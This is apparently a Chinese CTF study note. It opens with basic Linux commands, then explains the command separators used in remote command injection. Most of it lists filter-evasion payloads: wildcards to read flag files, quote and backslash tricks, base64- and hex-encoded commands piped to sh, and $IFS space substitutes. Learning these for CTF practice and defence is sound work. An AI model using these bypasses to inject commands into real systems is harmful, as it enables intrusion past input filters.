LINUX命令
- ls(英文全拼:list files): 列出目录及文件名
- cd(英文全拼:change directory):切换目录
cd .. 表示去到目前的上一级目录,亦即是 /root 的上一级目录的意思
- pwd(英文全拼:print work directory):显示目前的目录
- mkdir(英文全拼:make directory):创建一个新的目录
- rmdir(英文全拼:remove directory):删除一个空的目录
- cp(英文全拼:copy file): 复制文件或目录
- rm(英文全拼:remove): 删除文件或目录
- mv(英文全拼:move file): 移动文件与目录,或修改文件与目录的名称
- vim 用编辑器打开
## 连接符
远程命令执行可以用到的命令连接符,windows系统和linux系统各有4个,其中3个是共有的,各有1个是特有的:
- windows系统:| 、||、&&、&
- linux系统:| 、||、&&、;
```
|
```
管道操作符
可以把前一个命令的标准输出传输到后一个命令的标准输入
a | b表示命令a的输出作为命令b的输入
在远程命令执行中,不管a的执行结果是否正确,b都可以执行
```
||
```
逻辑或
有短路的情况
比如 a || b,如果命令a执行成功,则命令b不会被执行;只有命令a执行失败的情况下,才会执行命令b
```
&&
```
逻辑与
注意该命令有短路的情况
比如 a && b,如果命令a执行失败,则命令b不会被执行;只有命令a执行成功的情况下,才会执行命令b
```
&
```
windows特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a & b,不管a是否执行成功,b命令都会执行
```
;
```
linux系统特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a ; b,不管a是否执行成功,b命令都会执行
## 绕过
### 只可绕过文件名(重点)
```
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
```
通配符匹配[a-z] 查询所有字母a-z里面的东西(正则的形式)
*匹配所有内容
? 单一字符匹配
### 绕过关键字
wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
### 空格绕过。
在命令执行里注入用%0a、注释符都可以,比较特殊的$IFS可以替换空格。
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09